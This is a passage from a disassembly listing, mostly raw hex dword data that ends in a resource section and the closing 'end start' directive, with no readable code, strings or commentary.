4C51C7CCh, 360DB8A0h, 0E09E93h, 94A97477h, 0C89A3614h dd 89752B0Eh, 7A0B96F1h, 4207DAFCh, 12C59295h, 0E4D77966h dd 0C3825F52h, 0BC7B0E0Bh, 76778AE6h, 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96C0F51Dh, 0EDA24645h dd 0D4552C22h, 5C03B6A4h, 0AC90C0F3h, 62A7C4A9h, 8AC77982h dd 7643A39h, 0DB227BD7h, 0A98601D3h, 0C563849Fh, 0A9742D50h dd 7EB409EDh, 0E894792Dh, 9B43191Ch, 0B463C450h, 60CD56A7h dd 0CF80E1FCh, 462CF639h, 8D12220h, 0C3FA4E22h, 1896F972h dd 4C4CAD83h, 12BD7849h, 3274EDDDh, 0C3AE9E7h, 87C2F283h dd 64186866h, 940939Fh, 33F85539h, 33C4E1E1h, 83B90B0Bh dd 874FA6CDh, 108A5C6Ah, 0FD348413h, 4C8925FCh, 0DA7A84D5h dd 789DD233h, 0D58FE7A2h, 0DB773842h, 64D77977h, 1A618EC9h dd 0FEFA2822h, 6C91D254h, 19E36E1Bh, 8CD3EEC6h, 70E33D6Bh dd 0E75BA2Dh, 0B3627E38h, 6095E76Fh, 3B24F84h, 3FD7C737h dd 0E930C7DAh, 0FCBC4C88h, 2A61829Fh, 55E3DAB0h, 0E94D0169h dd 0A4EB00EEh, 0C2FBADD0h, 0F62C1EF8h, 8ADB34A5h, 484EEF6Ch dd 22F4E79Dh, 0B57AB5DFh, 17D4978h, 0EB61F77Fh, 0AEC79B99h dd 3C42E306h, 1472E35Ah, 0E53CEBE2h, 0B5EC3DA8h, 57F34D3Ah dd 0F86AABB9h, 4A8623h, 8B3352DFh, 30B73828h, 5FB2D931h dd 4784A5A7h, 0FB02A33Eh, 3033ACC0h, 1F83D4D3h, 0B73E03AFh dd 13D41509h, 4BE96A09h, 0DF1638E0h, 0AE40F09Eh, 653343CDh dd 627F31E4h, 80C9531Bh, 0F0E3400Bh, 0C75E606Ah, 3A2149Ah dd 64635C7Ah, 4EB7A0EFh, 0BEC3FF2h, 9EC9C988h, 0D712B75Dh dd 2E128886h, 77FC899h, 68A7F6F8h, 54952424h, 0DAFC5211h dd 0C1717671h, 0BA623330h, 0E203A583h, 76572859h, 0C36074F5h dd 0FDCD1E1Eh, 0ECA11746h, 0C4DEE591h, 9CC399A7h, 3A40D4F2h dd 787BE983h, 0DACCDB79h, 0B3EA3ED2h, 0B8364262h, 0FA6B8D81h dd 1E4F5021h, 5B485EDDh, 17BEED56h, 0A7DE2F26h, 0F0DFE5DBh dd 0AA67814Fh, 0E983F57h, 8B04D2E1h, 0C124AE84h, 9CE20FDCh dd 0D1C9E9C8h, 60247543h, 26636011h, 55BBEDC5h, 3BCBBFEEh dd 0BC7B82E8h, 406C400Fh, 70371767h, 0BFCC6C1Bh, 33599646h dd 0F263EF52h, 6CDA1B7Eh, 531CC269h, 361B2F3Ah, 0FF420B8Dh dd 0E8D54546h, 0ED0B19FDh, 799ED300h, 56508CDBh, 3553E8BBh dd 0C305CBECh, 73EF23A2h, 447AFBDEh, 5ECAD980h, 69CB1C68h dd 8ED82CD0h, 19A0EE6Dh, 1046A7B8h, 0BCA9AECBh, 62A6C74Eh dd 8ABF1011h, 9C16BCFFh, 32116251h, 0FBC57582h, 2D6671EEh dd 78756E51h, 81E50435h, 96F020B8h, 30FDD555h, 0F895FB71h dd 0A4DEA8A7h, 4A4FE0D3h, 8CF1F893h, 0ABFC7CB7h, 0CC39CF4Ah dd 0EC22D7F6h, 458BB79Bh, 6E70AE94h, 67F3ED87h, 0D9041516h dd 9C1CABC1h, 18956756h, 3BBB9F70h, 0BB67B8BCh, 6BBFE764h dd 8835840Ah, 26E10202h, 0E43A48CFh, 9761D583h, 0B3A3FDACh dd 4FB4F9C0h, 7753057Dh, 0A0D126A3h, 37FE254Fh, 0C1177FC2h dd 0BC55EA0h, 0C078F9E5h, 0E8AF0E0Ah, 94C919F2h, 8CE9C6CAh dd 2C286C5Bh, 5E155697h, 6668D7ECh, 50935019h, 1D420E3Fh dd 0B0D61CC2h, 5D00A0DAh, 2388A4Dh, 0AEE97882h, 54B8E9C5h dd 14E05352h, 0A4D52B34h, 8896AB03h, 732C4D50h, 61D1A965h dd 0C17DCECDh, 4195D572h, 0D245DC20h, 0A1A4F070h, 38137170h dd 0E2BE5B9Ah, 0B9F82335h, 65A9DAC4h, 35FE589Fh, 0B5EB27F0h dd 1F17B757h, 0E6CA7F7Ah, 42333Fh, 564EDEEFh, 78B04CBFh dd 0FA5206D3h, 91BF5640h, 0B2E18195h, 27726AC1h, 12B85203h dd 8FC4928Bh, 1D9A3A51h, 0B4FD4137h, 0D36EFDAAh, 1B5ADD15h dd 5FBD785h, 0B36910B8h, 17FCD93Ah, 0BAC0715Ah, 0A79233AAh dd 84CB9FB6h, 356ABB03h, 6F5123D7h, 0B6953B3Fh, 9FCA051Bh dd 9C79107Dh, 705AE9F4h, 473781CEh, 588BB8BEh, 1CC63C22h dd 0C7B5485Bh, 0A8732171h, 80425947h, 3269D4D7h, 0D0F82E3h dd 1FCF9A87h, 0F9A5337Fh, 0CDDA2920h, 8121400Dh, 3165A9AAh dd 4E0BA9B7h, 43A6D581h, 0ECA9747Ah, 82D44E52h, 0A5661042h dd 2706E9E7h, 4A11DBD6h, 67B1AEB8h, 50883B24h, 0C6AF4847h dd 0DD38323Bh, 72D10B75h, 1268B225h, 0C8CE61D1h, 0DA5AFD13h dd 0A3502B56h, 0AA88003Fh, 66E08006h, 0DC11662h, 8F74F5F5h dd 6D756ED2h, 7EB0B8E5h, 0CDC100BFh, 0E050E390h, 0D59F4EB5h dd 7C2A8466h, 0B4E5B8A6h, 6C472144h, 0ACE2311Fh, 0D50B0433h dd 0FDCDE84h, 53A25150h, 4B085DF6h, 0F4ADCECFh, 6EFD261Ch dd 0FAC3DD1Eh, 758C8A85h, 1A2F2F78h, 63CC7F47h, 9E5DF2C3h dd 5A41D8B8h, 7E4FAFh, 0E62C4393h, 3C9A1D69h, 59511277h dd 1BA9E095h, 0A9920D67h, 0C5BB0492h, 0AE3E5D8Ch, 7639B654h dd 0A75C515Ah, 60C1CDAh, 7DB23334h, 0E0836911h, 0F3362154h dd 0F77F3D2Eh, 0DF738CD2h, 747E3030h, 72EBA3B0h, 0CAF23255h dd 0B6F81901h, 0B8604F7Ah, 91459BCAh, 0C28D3D82h, 56C96E12h dd 0BD281425h, 4912A2D4h, 0E216ED9Ah, 4B70C6D9h, 0CF4133B8h dd 0DB3201Fh, 8DF95D4Ah, 551E2DB5h, 905E67A6h, 783DB1B1h dd 0DAA452BAh, 1AD084E9h, 712FF3B2h, 0AC2BDAD8h, 3AD3A695h dd 74298889h, 0E6B05D66h, 549F1AFBh, 839FF0F1h, 6C37E743h dd 0BBF142AAh, 99B366Ah, 0D73BDAAh, 366A8E55h, 6D6C80E5h dd 0B79FB885h, 26813606h, 8BB3DF7Ch, 37B8B7h, 84B7BAC5h dd 0BA782727h, 7BB00011h, 0EEE7AB4Ch, 0C4875C08h, 7E2B7C7Ah dd 0C05799FAh, 17474CABh, 8821FAB3h, 6FCD1E1Fh, 0E0F65104h dd 6C10706Fh, 12489973h, 392C8237h, 64796DE5h, 0F2401213h dd 94CA1B1Bh, 9976B43h, 0EE3C8D8Ch, 0D09B4812h, 58455FD1h dd 0C23E0607h, 0B894A427h, 0D574997Ch, 0FFDB41B3h, 69D062AAh dd 67045BC2h, 9DA9CACBh, 622DDE72h, 0C5FBE3A4h, 0C9B9FE74h dd 144DAEADh, 7045ED5Bh, 95F306EFh, 15C9E8E7h, 0B9EF40CFh dd 0D23BDCE3h, 55CA92A1h, 0DCB7B986h, 0A26E1FB4h, 0CF3B767Eh dd 0ADE35410h, 80F2D6BCh, 7221FC86h, 184EAF1Bh, 41FCD4D7h dd 79A9F3B9h, 42B7E28h, 0C8E253E1h, 0AD75DF8Ah, 8E62ABF0h dd 45F94B46h, 0E7C5F4F4h dd 6933868Dh, 5B25AEBAh, 6C449092h, 5A4494DCh, 3F2E4DAFh dd 0EBBFABC3h, 8AC04E96h, 92AFFD39h, 0FB324341h, 8F13C703h dd 0A8E8A4F9h, 56BBECFBh, 0DBC4F3Ch, 0AE97A72Eh, 4C161554h dd 732FD81Dh, 11688622h, 42C2D0D0h, 40F8BAF8h, 0B95A46F0h dd 9BF8C42Eh, 0DC24C9F1h, 1A4C9DABh, 0C1885140h, 44291212h dd 70C52626h, 87C252ABh, 0FFA29766h, 0F640A1BFh, 243742Dh dd 501D6CE1h, 0EB93A3Ah, 9BD220A7h, 0BE590D5Ah, 0FA817A83h dd 0D95D9E9Ch, 7FA9B340h, 7F1801FEh, 5FD61717h, 0F8D49DDAh dd 0E9DF477h, 0E551928Eh, 7349C97Ch, 0F95EA4F2h, 94FA3746h dd 8CF4E1C0h, 261C6D5Bh, 0E45967Ch, 3607E3BDh, 4A780B67h dd 78E60F3Fh, 0C862F938h, 5C10514Ah, 0CABA4948h, 0EA6E424Eh dd 649CA25Fh, 6C8FC003h, 0D1DB062Bh, 0B185334Fh, 87417258h dd 0F736B4D0h, 0B781300Ah, 2A4EF282h, 7130DFDDh, 3E07B69Ah dd 0C7DE5C11h, 17ECDE1h, 3C72E67Ah, 0C0728BEBh, 0F83CEBEBh dd 91A8B605h, 21A0EB54h, 8C3EBFA3h, 0B100BFE6h, 2A8CD9E5h dd 81DF5E2Dh, 22E0CE30h, 8009309Ch, 52A77CD1h, 0A75B9C86h dd 7302DC17h, 2A94C3A0h, 58572650h, 3BF5A649h, 90CE888Ah dd 79B05F61h, 41037004h, 0DB74F0F0h, 92C836A1h, 0BAE1AA41h dd 0C3D86B69h, 0C732C92h, 3683BCBBh, 9C93E4E4h, 0D2310D29h dd 80283A11h, 0AB0EA7DEh, 0DFE89Fh, 0A25FB0AFh, 0FB7FC8Ch dd 97311B8Ah, 0A2E9019Eh, 34EC54B9h, 0F0E91D85h, 0Dh dup(0) dd 1500h dup(?) _rsrc ends end start